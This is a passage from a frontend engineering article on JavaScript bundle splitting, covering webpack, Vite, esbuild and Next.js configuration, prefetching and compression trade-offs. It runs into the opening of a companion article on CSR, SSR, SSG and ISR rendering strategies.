          test: /[\\/]node_modules[\\/]/,
          name(module) {
            // Get library name for chunk naming
            const match = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)
            const packageName = match ? match[1] : "vendors"
            return `vendor-${packageName.replace("@", "")}`
          },
          priority: 20,
          minSize: 50000, // Only split if > 50KB
        },
        // Shared application code
        commons: {
          name: "commons",
          minChunks: 2, // Used by at least 2 chunks
          priority: 10,
        },
      },
    },
  },
}
```

**Webpack SplitChunksPlugin defaults (v5):**

| Option               | Default   | Effect                                                    |
| -------------------- | --------- | --------------------------------------------------------- |
| `chunks`             | `'async'` | Only split async imports (change to `'all'` for sync too) |
| `minSize`            | 20000     | Only create chunks > 20KB                                 |
| `maxSize`            | 0         | No upper limit (set to enable chunk splitting)            |
| `minChunks`          | 1         | Module must be shared by N chunks to split                |
| `maxAsyncRequests`   | 30        | Max parallel requests for on-demand loads                 |
| `maxInitialRequests` | 30        | Max parallel requests for entry points                    |

**Vite/Rollup approach:**

```javascript title="vite.config.js - manual chunks"
// vite.config.js
export default {
  build: {
    rollupOptions: {
      output: {
        manualChunks: {
          // Group related dependencies
          "vendor-react": ["react", "react-dom", "react-router-dom"],
          "vendor-ui": ["@radix-ui/react-dialog", "@radix-ui/react-dropdown-menu"],
          "vendor-utils": ["lodash-es", "date-fns"],
        },
      },
    },
  },
}
```

**Cache efficiency math:**

Assume weekly deployments with application code changes each time:

| Strategy        | Cache Hit Rate                    | Bandwidth Saved |
| --------------- | --------------------------------- | --------------- |
| Single bundle   | 0% (any change invalidates)       | 0%              |
| App + vendors   | ~70% (vendors rarely change)      | 40-60%          |
| Granular chunks | ~85% (only changed chunks reload) | 60-80%          |

**Trade-offs:**

- More HTTP requests (mitigated by HTTP/2)
- Configuration complexity
- Chunk naming affects cache keys

### Path 4: Dynamic Entry Points (Module Federation)

**How it works:**

Multiple applications share code at runtime. Each application builds independently but can consume modules from other builds dynamically.

```javascript title="webpack.config.js - module federation" collapse={1-5,25-35}
// Host application webpack.config.js
const { ModuleFederationPlugin } = require("webpack").container

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: "host",
      remotes: {
        // Load dashboard app's exposed modules at runtime
        dashboard: "dashboard@https://dashboard.example.com/remoteEntry.js",
        analytics: "analytics@https://analytics.example.com/remoteEntry.js",
      },
      shared: {
        react: { singleton: true, requiredVersion: "^18.0.0" },
        "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
      },
    }),
  ],
}

// Remote application webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: "dashboard",
      filename: "remoteEntry.js",
      exposes: {
        "./DashboardWidget": "./src/DashboardWidget",
      },
      shared: {
        react: { singleton: true },
        "react-dom": { singleton: true },
      },
    }),
  ],
}
```

**Use cases:**

- Micro-frontends with independent deployment
- Platform teams providing shared components
- A/B testing different component versions
- White-label applications with customizable modules

**Trade-offs:**

- Runtime dependency resolution adds latency
- Version conflicts require careful management
- Build configuration complexity
- Debugging across federated boundaries is harder

**Real-world example:**

Spotify's web player uses a micro-frontend architecture where different squads own different features (playlists, search, player controls). Module Federation enables independent deployments while sharing React and design system components.

### Decision Matrix

| Factor               | Route Splitting | Component Splitting | Vendor Splitting | Module Federation |
| -------------------- | --------------- | ------------------- | ---------------- | ----------------- |
| Setup complexity     | Low             | Low                 | Medium           | High              |
| Build config changes | Minimal         | Minimal             | Moderate         | Significant       |
| Runtime overhead     | Low             | Low                 | None             | Medium            |
| Cache benefits       | Medium          | Medium              | High             | High              |
| Team scalability     | Good            | Good                | Good             | Excellent         |
| Best for             | SPAs            | Heavy components    | All apps         | Micro-frontends   |

### Decision Framework

![Diagram](./diagram-1.svg)

## Resource Hints: Prefetch and Preload

Splitting code creates smaller initial bundles but introduces latency when loading subsequent chunks. Resource hints recover this latency by loading chunks before they're needed.

### Prefetch vs Preload vs Modulepreload

| Hint            | Priority | Timing                  | Use Case                          |
| --------------- | -------- | ----------------------- | --------------------------------- |
| `prefetch`      | Lowest   | Browser idle time       | Next navigation, predicted routes |
| `preload`       | High     | Immediate, parallel     | Current page critical resources   |
| `modulepreload` | High     | Immediate, with parsing | ES modules needed soon            |

```html title="resource-hints.html"
<!-- Prefetch: Load during idle for predicted next navigation -->
<link rel="prefetch" href="/chunks/dashboard-abc123.js" />

<!-- Preload: Critical for current page, load immediately -->
<link rel="preload" href="/chunks/hero-image.js" as="script" />

<!-- Modulepreload: ES module with dependency resolution -->
<link rel="modulepreload" href="/chunks/analytics-module.js" />
```

**Key difference**: `modulepreload` also parses and compiles the module, making execution instant when needed. `preload` only fetches.

### Webpack Magic Comments

Webpack uses special comments to control chunk behavior:

```typescript title="webpack-magic-comments.ts"
// Named chunk for better cache keys and debugging
import(/* webpackChunkName: "dashboard" */ "./Dashboard")

// Prefetch: load during idle (for predicted navigation)
import(/* webpackPrefetch: true */ "./Settings")

// Preload: load in parallel with current chunk (rare)
import(/* webpackPreload: true */ "./CriticalModal")

// Combined
import(
  /* webpackChunkName: "analytics" */
  /* webpackPrefetch: true */
  "./Analytics"
)

// Specify loading mode
import(/* webpackMode: "lazy" */ "./LazyModule") // Default
import(/* webpackMode: "eager" */ "./EagerModule") // No separate chunk
```

**Prefetch behavior**: Webpack injects `<link rel="prefetch">` tags after the parent chunk loads. The browser fetches during idle time with lowest priority.

**Preload behavior**: Webpack injects `<link rel="preload">` tags alongside the parent chunk request. Use sparingly—preloading non-critical resources competes with critical ones.

### Framework-Specific Prefetching

**Next.js** (automatic):

```typescript title="next-prefetch.tsx"
import Link from 'next/link';

// Prefetch is automatic on viewport intersection (production only)
<Link href="/dashboard">Dashboard</Link>

// Disable prefetch for rarely-used links
<Link href="/admin" prefetch={false}>Admin</Link>

// Programmatic prefetch
import { useRouter } from 'next/navigation';
const router = useRouter();
router.prefetch('/dashboard');
```

**React Router** (manual):

```typescript title="react-router-prefetch.tsx" collapse={1-5,25-35}
import { useEffect } from 'react';
import { Link, useLocation } from 'react-router-dom';

// Prefetch on hover
function PrefetchLink({ to, children }: { to: string; children: React.ReactNode }) {
  const prefetch = () => {
    // Trigger the dynamic import without rendering
    if (to === '/dashboard') {
      import('./pages/Dashboard');
    } else if (to === '/settings') {
      import('./pages/Settings');
    }
  };

  return (
    <Link to={to} onMouseEnter={prefetch} onFocus={prefetch}>
      {children}
    </Link>
  );
}

// Prefetch likely next routes based on current route
function usePrefetchPredicted() {
  const location = useLocation();

  useEffect(() => {
    if (location.pathname === '/') {
      // Users on home often go to dashboard
      import('./pages/Dashboard');
    } else if (location.pathname === '/dashboard') {
      // Dashboard users often check settings
      import('./pages/Settings');
    }
  }, [location.pathname]);
}
```

### Intersection Observer Prefetching

Prefetch chunks when their trigger elements become visible:

```typescript title="intersection-prefetch.ts" collapse={1-3}
function prefetchOnVisible(selector: string, importFn: () => Promise<unknown>) {
  const elements = document.querySelectorAll(selector)

  const observer = new IntersectionObserver(
    (entries) => {
      entries.forEach((entry) => {
        if (entry.isIntersecting) {
          importFn().catch(() => {}) // Prefetch, ignore errors
          observer.unobserve(entry.target)
        }
      })
    },
    { rootMargin: "200px" },
  )

  elements.forEach((el) => observer.observe(el))
  return () => observer.disconnect()
}

// Usage: prefetch analytics chunk when link is visible
prefetchOnVisible('[href="/analytics"]', () => import("./pages/Analytics"))
```

### Prefetch Strategy Comparison

| Strategy            | Latency Improvement | Bandwidth Cost            | Implementation       |
| ------------------- | ------------------- | ------------------------- | -------------------- |
| No prefetch         | 0ms                 | 0                         | -                    |
| Hover prefetch      | 100-300ms           | Low (on interaction)      | Manual               |
| Viewport prefetch   | 200-500ms           | Medium (visible links)    | IntersectionObserver |
| Predictive prefetch | 300-1000ms          | Higher (predicted routes) | Analytics-driven     |
| Aggressive prefetch | Full (no latency)   | Highest (all routes)      | Simple but wasteful  |

## Bundle Analysis

### Identifying Optimization Opportunities

Before optimizing, measure. Bundle analyzers visualize chunk contents, revealing:

- Unexpectedly large dependencies
- Duplicate modules across chunks
- Unused exports (tree-shaking failures)
- Missing code splitting opportunities

### webpack-bundle-analyzer

```javascript title="webpack.config.js - bundle analyzer" collapse={1-3}
const BundleAnalyzerPlugin = require("webpack-bundle-analyzer").BundleAnalyzerPlugin

module.exports = {
  plugins: [
    new BundleAnalyzerPlugin({
      analyzerMode: "static", // Generate HTML file
      reportFilename: "bundle-report.html",
      openAnalyzer: false,
      generateStatsFile: true,
      statsFilename: "bundle-stats.json",
    }),
  ],
}
```

**What to look for:**

| Pattern           | Problem                   | Solution                           |
| ----------------- | ------------------------- | ---------------------------------- |
| Single huge chunk | No splitting              | Add route/component splitting      |
| Moment.js (500KB) | Full library with locales | Replace with date-fns or dayjs     |
| Lodash (70KB)     | Full library              | Use lodash-es with tree shaking    |
| Duplicated React  | Multiple versions         | Resolve alias in config            |
| Large polyfills   | Targeting old browsers    | Adjust browserslist, use core-js 3 |

### Vite/Rollup Analysis

```javascript title="vite.config.js - bundle visualization"
import { visualizer } from "rollup-plugin-visualizer"

export default {
  plugins: [
    visualizer({
      filename: "bundle-analysis.html",
      gzipSize: true,
      brotliSize: true,
    }),
  ],
}
```

### Chrome DevTools Coverage

**How to use:**

1. Open DevTools → More Tools → Coverage
2. Click reload button to start instrumenting
3. Interact with the page
4. Review unused JavaScript percentage

**Interpreting results:**

- Red = unused code (candidate for splitting or removal)
- Green = executed code

**Caveat**: Coverage shows runtime usage for one session. Code that handles edge cases or error states may appear "unused" but is still necessary.

### Budget Enforcement

Set bundle size budgets that fail builds when exceeded:

```javascript title="webpack.config.js - performance budgets"
module.exports = {
  performance: {
    maxAssetSize: 250000, // 250KB per chunk
    maxEntrypointSize: 400000, // 400KB for entry points
    hints: "error", // Fail build on violation
  },
}
```

**Recommended budgets:**

| Application Type | Entry Point | Per Chunk  |
| ---------------- | ----------- | ---------- |
| Marketing site   | 100KB gzip  | 50KB gzip  |
| SPA              | 150KB gzip  | 75KB gzip  |
| Complex app      | 250KB gzip  | 100KB gzip |

## Build Tool Configuration

### Webpack 5

```javascript title="webpack.config.js - complete splitting setup" collapse={1-10,55-65}
const path = require("path")

module.exports = {
  mode: "production",
  entry: {
    main: "./src/index.tsx",
  },
  output: {
    filename: "[name].[contenthash].js",
    chunkFilename: "[name].[contenthash].chunk.js",
    path: path.resolve(__dirname, "dist"),
    clean: true,
  },
  optimization: {
    splitChunks: {
      chunks: "all",
      maxInitialRequests: 25,
      minSize: 20000,
      cacheGroups: {
        // React ecosystem - very stable
        framework: {
          test: /[\\/]node_modules[\\/](react|react-dom|react-router|react-router-dom|scheduler)[\\/]/,
          name: "framework",
          chunks: "all",
          priority: 40,
        },
        // UI libraries
        ui: {
          test: /[\\/]node_modules[\\/](@radix-ui|@headlessui|framer-motion)[\\/]/,
          name: "vendor-ui",
          chunks: "all",
          priority: 30,
        },
        // Remaining node_modules
        vendors: {
          test: /[\\/]node_modules[\\/]/,
          name: "vendors",
          chunks: "all",
          priority: 20,
        },
        // Shared app code
        common: {
          name: "common",
          minChunks: 2,
          priority: 10,
          reuseExistingChunk: true,
        },
      },
    },
    // Extract webpack runtime for better caching
    runtimeChunk: "single",
  },
}
```

### Vite 5/6

```typescript title="vite.config.ts - complete splitting setup" collapse={1-5,35-45}
import { defineConfig } from "vite"
import react from "@vitejs/plugin-react"

export default defineConfig({
  plugins: [react()],
  build: {
    target: "es2020",
    rollupOptions: {
      output: {
        manualChunks: (id) => {
          // Framework chunk
          if (id.includes("node_modules/react")) {
            return "framework"
          }
          // UI library chunk
          if (id.includes("node_modules/@radix-ui") || id.includes("node_modules/@headlessui")) {
            return "vendor-ui"
          }
          // Utility libraries
          if (id.includes("node_modules/lodash") || id.includes("node_modules/date-fns")) {
            return "vendor-utils"
          }
          // Let Rollup handle remaining splitting
        },
        // Consistent chunk naming
        chunkFileNames: "assets/[name]-[hash].js",
        entryFileNames: "assets/[name]-[hash].js",
      },
    },
    // Enable CSS code splitting
    cssCodeSplit: true,
  },
})
```

### esbuild

```typescript title="esbuild.config.ts" collapse={1-5,20-25}
import * as esbuild from "esbuild"

await esbuild.build({
  entryPoints: ["src/index.tsx"],
  bundle: true,
  // Required for code splitting
  splitting: true,
  format: "esm", // Required when splitting is enabled
  outdir: "dist",
  // Chunk naming
  chunkNames: "chunks/[name]-[hash]",
  entryNames: "[name]-[hash]",
  // Minimize output
  minify: true,
  // Target modern browsers
  target: ["es2020", "chrome90", "firefox90", "safari14"],
})
```

**esbuild limitations:**

- No equivalent to Webpack's `splitChunks` cacheGroups
- Manual chunks require separate entry points
- Less granular control over chunk boundaries

### Turbopack (Next.js 15+)

Turbopack handles splitting automatically in Next.js:

```typescript title="next.config.ts"
import type { NextConfig } from "next"

const nextConfig: NextConfig = {
  // Turbopack is default in Next.js 15+
  // No explicit code splitting config needed
  experimental: {
    // Fine-tune package imports for tree shaking
    optimizePackageImports: ["lodash-es", "@icons-pack/react-simple-icons"],
  },
}

export default nextConfig
```

**Automatic optimizations:**

- Page-level code splitting (each route = separate chunk)
- Shared chunks for common dependencies
- Automatic prefetching for `<Link>` components
- React Server Components reduce client bundle size

## Edge Cases and Gotchas

### Dynamic Import Static Analysis

Bundlers analyze import paths at build time. Fully dynamic paths prevent splitting:

```typescript title="dynamic-import-analysis.ts"
// WORKS: Bundler creates chunk for each page
const pages = {
  home: () => import("./pages/Home"),
  about: () => import("./pages/About"),
  contact: () => import("./pages/Contact"),
}

// WORKS: Template literal with static prefix
// Creates chunks for all files matching the pattern
const loadPage = (name: string) => import(`./pages/${name}.tsx`)

// DOES NOT WORK: Fully dynamic path
const userPath = getUserInput()
import(userPath) // Bundler cannot analyze at build time
```

**Webpack behavior with template literals:**

When using `import(\`./pages/${name}.tsx\`)`, Webpack creates a chunk for every file matching `./pages/\*.tsx`. This is called a "context module."

### Circular Dependencies

Circular dependencies can prevent proper chunk splitting:

```typescript title="circular-dependency-problem.ts"
// moduleA.ts
import { helperB } from "./moduleB"
export const helperA = () => helperB()

// moduleB.ts
import { helperA } from "./moduleA"
export const helperB = () => helperA()

// Bundler may merge these into single chunk to resolve cycle
```

**Detection**: Use `madge` or `dpdm` to identify circular dependencies:

```bash
npx madge --circular src/
```

### Tree Shaking Interaction

Code splitting and tree shaking work together, but order matters:

1. Tree shaking removes unused exports
2. Code splitting divides remaining code into chunks

**Gotcha**: Side effects can prevent tree shaking:

```typescript title="side-effects-problem.ts"
// This module has side effects (modifies global state on import)
import "./analytics-init" // Always included even if unused

// Mark as side-effect-free in package.json
// "sideEffects": false
// Or list specific files with side effects
// "sideEffects": ["./src/analytics-init.ts"]
```

### CSS-in-JS and Code Splitting

CSS-in-JS libraries (styled-components, Emotion) may extract CSS that doesn't split with the component:

```typescript title="css-in-js-splitting.tsx" collapse={1-3}
import styled from "styled-components"

// These styles may not code-split with the component
const StyledButton = styled.button`
  background: blue;
  color: white;
`

// Lazy load the component - but CSS may be in main bundle
const LazyComponent = lazy(() => import("./StyledComponent"))
```

**Solution**: Configure SSR extraction or use CSS Modules for components that need reliable code splitting.

### SSR Hydration Mismatches

Server-rendered HTML must match client-rendered output. Code-split components that render different content based on browser APIs cause mismatches:

```typescript title="ssr-mismatch.tsx" collapse={1-3}
import { lazy, Suspense } from 'react';

// Problem: window is undefined on server
const ClientOnlyChart = lazy(() => import('./Chart'));

function Dashboard() {
  // This causes hydration mismatch
  return (
    <Suspense fallback={<div>Loading...</div>}>
      {typeof window !== 'undefined' && <ClientOnlyChart />}
    </Suspense>
  );
}

// Solution: Use useEffect for client-only rendering
function SafeDashboard() {
  const [mounted, setMounted] = useState(false);

  useEffect(() => {
    setMounted(true);
  }, []);

  return (
    <Suspense fallback={<div>Loading...</div>}>
      {mounted && <ClientOnlyChart />}
    </Suspense>
  );
}
```

### HTTP/2 and Chunk Count

HTTP/2 multiplexes requests over a single connection, but has limits:

| Browser | Max Concurrent Streams |
| ------- | ---------------------- |
| Chrome  | 100                    |
| Firefox | 100                    |
| Safari  | 100                    |

**Recommendation**: Keep chunk count under 50 for initial load. The sweet spot is 10-30 chunks that balance:

- Cache granularity (more chunks = better cache utilization)
- Connection overhead (fewer chunks = less overhead)
- Compression efficiency (larger chunks = better compression)

### Content Hash Stability

Chunk content hashes should only change when content changes. Common pitfalls:

```javascript title="hash-stability.js"
// Problem: Import order affects hash
import { a } from "./a" // Hash changes if this moves
import { b } from "./b"

// Problem: Absolute paths in source
__dirname // Different on different machines

// Solution: Use deterministic module IDs
module.exports = {
  optimization: {
    moduleIds: "deterministic",
    chunkIds: "deterministic",
  },
}
```

## Real-World Implementations

### Vercel/Next.js: Zero-Config Splitting

**Challenge**: Make code splitting accessible without configuration.

**Architecture**:

- Each file in `pages/` or `app/` becomes a route chunk automatically
- Shared dependencies extracted to `_app` chunk
- Framework code (React, Next.js runtime) in separate chunks
- Automatic prefetching via `<Link>` component

**Key decisions**:

- Convention over configuration: file system = routes = chunks
- Aggressive prefetching by default (can disable per-link)
- Server Components reduce client bundle by rendering on server

**Outcome**: Applications using Next.js automatic splitting see 30-50% smaller initial bundles compared to manual Webpack configuration.

### Shopify Hydrogen: Commerce-Optimized Splitting

**Challenge**: E-commerce pages have unique splitting needs—product data, cart, checkout.

**Architecture**:

- Route-based splitting for pages
- Component splitting for cart drawer, product variants
- Aggressive prefetching for product navigation
- Streaming SSR with Suspense boundaries

**Key insight**: Cart functionality is loaded on interaction, not initial page load. Most users browse products before adding to cart—deferring cart code saves 50KB on initial load.

### Google: Differential Loading

**Challenge**: Support old browsers without penalizing modern ones.

**Architecture**:

- Two builds: ES2020 for modern browsers, ES5 for legacy
- `<script type="module">` loads modern bundle
- `<script nomodule>` loads legacy bundle
- Modern bundle is 20-40% smaller (no polyfills, better compression)

```html title="differential-loading.html"
<!-- Modern browsers load this (smaller) -->
<script type="module" src="/main-modern.js"></script>

<!-- Only IE11 and old browsers load this -->
<script nomodule src="/main-legacy.js"></script>
```

**Trade-off**: Doubles build time and artifact storage, but modern users (95%+) get smaller bundles.

### Airbnb: Predictive Prefetching

**Challenge**: Users navigate unpredictably; guessing wrong wastes bandwidth.

**Architecture**:

- Collect navigation patterns via analytics
- Build ML model predicting next route from current route
- Prefetch predicted routes during idle time
- Confidence threshold prevents over-prefetching

**Key insight**: 80% of navigations follow predictable patterns. Prefetching the top 3 predicted routes covers most users while limiting bandwidth waste.

**Outcome**: 20% reduction in perceived navigation latency without significant bandwidth increase.

## Compression Considerations

### Compression vs Chunk Size Trade-off

Smaller chunks compress less efficiently:

| Chunk Size | Gzip Reduction | Brotli Reduction |
| ---------- | -------------- | ---------------- |
| 5KB        | 30-40%         | 35-45%           |
| 20KB       | 50-60%         | 55-65%           |
| 100KB      | 65-70%         | 70-75%           |
| 500KB      | 70-75%         | 75-80%           |

**Implication**: Don't over-split. A 5KB chunk that could be 2KB gzipped might not be worth the additional HTTP request.

### Brotli vs Gzip

| Aspect            | Gzip          | Brotli          |
| ----------------- | ------------- | --------------- |
| Compression ratio | Good (65-70%) | Better (70-75%) |
| Compression speed | Fast          | Slower (3-10x)  |
| Browser support   | 99%+          | 96%+            |
| Recommendation    | Fallback      | Primary         |

**Best practice**: Pre-compress assets at build time with Brotli (level 11). Serve Brotli to supporting browsers, gzip to others via content negotiation.

```javascript title="compression-plugin.js"
// webpack-compression-plugin or vite-plugin-compression
{
  algorithm: 'brotliCompress',
  compressionOptions: { level: 11 },
  filename: '[path][base].br',
}
```

## Conclusion

Bundle splitting transforms application delivery from "all or nothing" to "what you need, when you need it." The strategies layer: start with route-based splitting for the largest wins, add vendor splitting for cache efficiency, then apply component splitting for heavy UI elements.

Key principles:

1. **Measure first**: Use bundle analyzers to identify actual opportunities, not perceived ones
2. **Route splitting is table stakes**: Every SPA should split by route
3. **Vendor chunks maximize caching**: Dependencies change less than application code
4. **Prefetching recovers latency**: Splitting without prefetching creates navigation delays
5. **HTTP/2 changes the math**: More chunks are viable, but don't over-split (10-30 is optimal)
6. **Compression efficiency decreases with chunk size**: Balance splitting benefits against compression loss

The configuration complexity varies by tool—Next.js and Vite provide sensible defaults; Webpack offers granular control at the cost of configuration burden. Choose based on your team's needs and application constraints.

## Appendix

### Prerequisites

- JavaScript module systems (ESM, CommonJS)
- Build tool fundamentals (bundling, minification)
- Browser network fundamentals (HTTP/2, caching)

### Terminology

| Term           | Definition                                              |
| -------------- | ------------------------------------------------------- |
| Chunk          | A bundle file produced by the build process             |
| Entry point    | Initial file that starts application execution          |
| Dynamic import | `import()` syntax that loads modules on demand          |
| Code splitting | Dividing code into chunks loaded separately             |
| Tree shaking   | Removing unused exports from bundles                    |
| Vendor chunk   | Chunk containing third-party dependencies               |
| Magic comment  | Build-tool-specific comment affecting bundling behavior |
| Prefetch       | Low-priority fetch for predicted future needs           |
| Preload        | High-priority fetch for current page needs              |

### Summary

- Bundle splitting reduces initial JavaScript by loading code on demand
- Route-based splitting provides 30-60% reduction with minimal configuration
- Vendor splitting maximizes cache hit rates across deployments
- Prefetch/preload hints recover navigation latency from splitting
- Bundle analyzers identify optimization opportunities before and after changes
- HTTP/2 enables more chunks, but 10-30 is the practical sweet spot
- Compression efficiency decreases with chunk size—don't over-split

### References

- [Webpack Code Splitting Guide](https://webpack.js.org/guides/code-splitting/) - Official Webpack documentation
- [Webpack SplitChunksPlugin](https://webpack.js.org/plugins/split-chunks-plugin/) - Detailed configuration options
- [Vite Build Options](https://vite.dev/config/build-options.html) - Rollup-based splitting configuration
- [Rollup Output Options](https://rollupjs.org/configuration-options/#output-manualchunks) - Manual chunk configuration
- [esbuild Code Splitting](https://esbuild.github.io/api/#splitting) - esbuild splitting behavior
- [React.lazy Documentation](https://react.dev/reference/react/lazy) - Official React code splitting API
- [Next.js Automatic Code Splitting](https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming) - Next.js built-in splitting
- [MDN: Preload](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/preload) - Preload link specification
- [MDN: Prefetch](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/prefetch) - Prefetch link specification
- [MDN: modulepreload](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/modulepreload) - ES module preloading
- [web.dev: Reduce JavaScript Payloads with Code Splitting](https://web.dev/articles/reduce-javascript-payloads-with-code-splitting) - Chrome DevRel best practices
- [Webpack Module Federation](https://webpack.js.org/concepts/module-federation/) - Micro-frontend architecture
- [webpack-bundle-analyzer](https://github.com/webpack-contrib/webpack-bundle-analyzer) - Bundle visualization tool
- [rollup-plugin-visualizer](https://github.com/btd/rollup-plugin-visualizer) - Vite/Rollup analysis

---

## Rendering Strategies

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/rendering-strategies
**Category:** System Design / Frontend System Design
**Description:** Choosing between CSR, SSR, SSG, and hybrid rendering is not a binary decision—it’s about matching rendering strategy to content characteristics. Static content benefits from build-time rendering; dynamic, personalized content needs request-time rendering; interactive components need client-side JavaScript. Modern frameworks like Next.js 15, Astro 5, and Nuxt 3 enable mixing strategies within a single application, rendering each route—or even each component—with the optimal approach.

# Rendering Strategies

Choosing between CSR, SSR, SSG, and hybrid rendering is not a binary decision—it's about matching rendering strategy to content characteristics. Static content benefits from build-time rendering; dynamic, personalized content needs request-time rendering; interactive components need client-side JavaScript. Modern frameworks like Next.js 15, Astro 5, and Nuxt 3 enable mixing strategies within a single application, rendering each route—or even each component—with the optimal approach.

<figure>

![Rendering strategies span build-time, request-time, and client-time—modern applications mix these based on content characteristics.](./rendering-strategies-span-build-time-request-time-and-client-time-modern-applica.svg)

<figcaption>Rendering strategies span build-time, request-time, and client-time—modern applications mix these based on content characteristics.</figcaption>
</figure>

## Abstract

Rendering strategy selection reduces to three questions:

1. **When is content known?** Build-time (SSG) vs request-time (SSR) vs client-time (CSR)
2. **How fresh must it be?** Static (cache forever) vs stale-while-revalidate (ISR) vs always-fresh (SSR)
3. **How interactive is it?** None (static HTML) vs partial (islands) vs full (SPA hydration)

The 2025 consensus:

- **Server-first rendering** dominates—React Server Components, Astro, and streaming SSR prioritize HTML delivery over JavaScript execution
- **Islands architecture** wins for content sites—ship zero JavaScript by default, hydrate only interactive components
- **Streaming SSR** replaces blocking SSR—send HTML progressively as data resolves, improving perceived performance
- **Bundle size determines INP**—Interaction to Next Paint (the new Core Web Vital) correlates directly with JavaScript shipped

The framework landscape has converged: Next.js 15 defaults to Server Components, Astro 5 ships zero JavaScript, and Nuxt 3 enables per-route rendering modes. The choice is no longer "which framework" but "which rendering mode for this content."

## The Rendering Spectrum

### Client-Side Rendering (CSR)

CSR (Client-Side Rendering) ships a minimal HTML shell and builds the DOM entirely in the browser via JavaScript. The classic SPA (Single-Page Application) approach.

**How it works:**

1. Server sends near-empty HTML with `<script>` tags
2. Browser downloads, parses, and executes JavaScript bundle
3. JavaScript fetches data and constructs DOM
4. User sees content only after JavaScript completes

```html title="index.html" collapse={1-4,8-12}
<!DOCTYPE html>
<html>
  <head>
    <title>App</title>
  </head>
  <body>
    <div id="root"></div>
    <!-- User sees blank page until this executes -->
    <script src="/bundle.js"></script>
  </body>
</html>
```

**Core Web Vitals impact:**

| Metric | Impact   | Why                             |
| ------ | -------- | ------------------------------- |
| FCP    | Poor     | No content until JS executes    |
| LCP    | Poor     | Largest element delayed by JS   |
| INP    | Poor     | Large bundles block main thread |
| CLS    | Variable | Depends on implementation       |

**Design rationale:** CSR simplifies deployment (static files only) and enables rich interactivity without server infrastructure. The trade-off is initial load performance—users wait for JavaScript before seeing content.

**When CSR makes sense:**

- Internal dashboards where SEO is irrelevant
- Highly interactive tools (Figma, Notion, Slack)
- Behind authentication (crawlers can't access anyway)
- Apps where subsequent navigation speed matters more than initial load

**When CSR is wrong:**

- Marketing sites, blogs, e-commerce (SEO-critical)
- Content-heavy pages (slow LCP hurts engagement)
- Mobile users on slow networks (large bundles timeout)

### Server-Side Rendering (SSR)

SSR (Server-Side Rendering) executes rendering logic on the server per-request, returning complete HTML. The browser displays content immediately, then hydrates for interactivity.

**How it works:**

1. Browser requests page
2. Server executes component code, fetches data, renders HTML
3. Server sends complete HTML response
4. Browser paints content immediately (FCP)
5. Browser downloads JavaScript and hydrates

```ts title="next-page.tsx" collapse={1-3,15-20}
// Next.js 15 App Router - Server Component by default
import { db } from '@/lib/db'

interface Product { id: string; name: string; price: number }

// This runs on the server every request
export default async function ProductPage({ params }: { params: { id: string } }) {
  const product = await db.products.findUnique({ where: { id: params.id } })

  return (
    <main>
      <h1>{product.name}</h1>
      <p>${product.price}</p>
    </main>
  )
}
```

**Core Web Vitals impact:**

| Metric | Impact   | Why                            |
| ------ | -------- | ------------------------------ |
| FCP    | Good     | HTML arrives ready to paint    |
| LCP    | Good     | Content visible before JS      |
| INP    | Good     | Smaller bundles (RSC)          |
| TTFB   | Variable | Depends on server/data latency |

**Design rationale:** SSR prioritizes content visibility. Users see meaningful content while JavaScript loads in the background. The trade-off is server load—every request requires compute.

**TTFB considerations:**

SSR's TTFB depends on the slowest data fetch. If a page needs data from three APIs, TTFB = max(api1, api2, api3) + render time. Streaming SSR addresses this by sending HTML progressively.

**When SSR makes sense:**

- SEO-critical dynamic content (search results, product pages)
- Personalized content that can't be pre-rendered
- Pages with fast data sources
- When server infrastructure is available

### Static Site Generation (SSG)

SSG (Static Site Generation) renders pages at build time, producing static HTML files served from CDN. No server compute at request time.

**How it works:**

1. Build process fetches all data
2. Framework renders every page to HTML
3. HTML files deployed to CDN edge
4. Users receive pre-built HTML instantly
5. Optional: hydration for interactivity

```ts title="astro-page.astro" collapse={1-2,16-20}
---
// Astro - runs at build time only
const posts = await fetch('https://api.example.com/posts').then(r => r.json())
---

<html>
  <body>
    <h1>Blog Posts</h1>
    <ul>
      {posts.map(post => (
        <li><a href={`/posts/${post.slug}`}>{post.title}</a></li>
      ))}
    </ul>
  </body>
</html>
```

**Core Web Vitals impact:**

| Metric | Impact    | Why                       |
| ------ | --------- | ------------------------- |
| FCP    | Excellent | CDN serves pre-built HTML |
| LCP    | Excellent | No server processing      |
| INP    | Excellent | Minimal/no JavaScript     |
| TTFB   | Excellent | Edge-cached responses     |

**Design rationale:** SSG maximizes performance by eliminating request-time compute. Content is determined at build time and cached globally. The trade-off is staleness—updates require rebuilds.

**Astro's approach:**

Astro exemplifies modern SSG. It renders pages at build time and ships zero JavaScript by default. Interactive components ("islands") opt-in to client-side JavaScript.

> "Astro is designed to be fast. Astro websites load 40% faster and use 90% less JavaScript than sites built with other popular web frameworks."
> — Astro Documentation

**When SSG makes sense:**

- Documentation sites
- Marketing pages
- Blogs with infrequent updates
- E-commerce product catalogs (with ISR for freshness)

**When SSG is wrong:**

- Highly personalized content
- Real-time data (stock prices, live scores)
- Sites with thousands of pages and frequent updates

### Incremental Static Regeneration (ISR)

ISR combines static performance with dynamic freshness. Pages are pre-rendered but regenerate in the background after a configurable interval.

**How it works (Next.js 15):**

1. First request: serve pre-built static page
2. After `revalidate` period expires: serve stale, trigger background regeneration
3. Next request: serve freshly regenerated page
4. Repeat

```ts title="next-isr.tsx" collapse={1-3,18-25}
// Next.js 15 App Router - Time-based revalidation
import { db } from '@/lib/db'

// Regenerate this page every 60 seconds
export const revalidate = 60

export default async function ProductPage({ params }: { params: { id: string } }) {
  const product = await db.products.findUnique({ where: { id: params.id } })

  return (
    <main>
      <h1>{product.name}</h1>
      <p>${product.price}</p>
      <p>Last updated: {new Date().toISOString()}</p>
    </main>
  )
}
```

**On-demand revalidation:**

For immediate updates (CMS publish, inventory change), trigger revalidation explicitly:

```ts title="revalidate-action.ts" collapse={1-2}
"use server"
import { revalidatePath, revalidateTag } from "next/cache"

// Revalidate specific path
export async function publishPost(slug: string) {
  await db.posts.publish(slug)
  revalidatePath(`/posts/${slug}`)
}

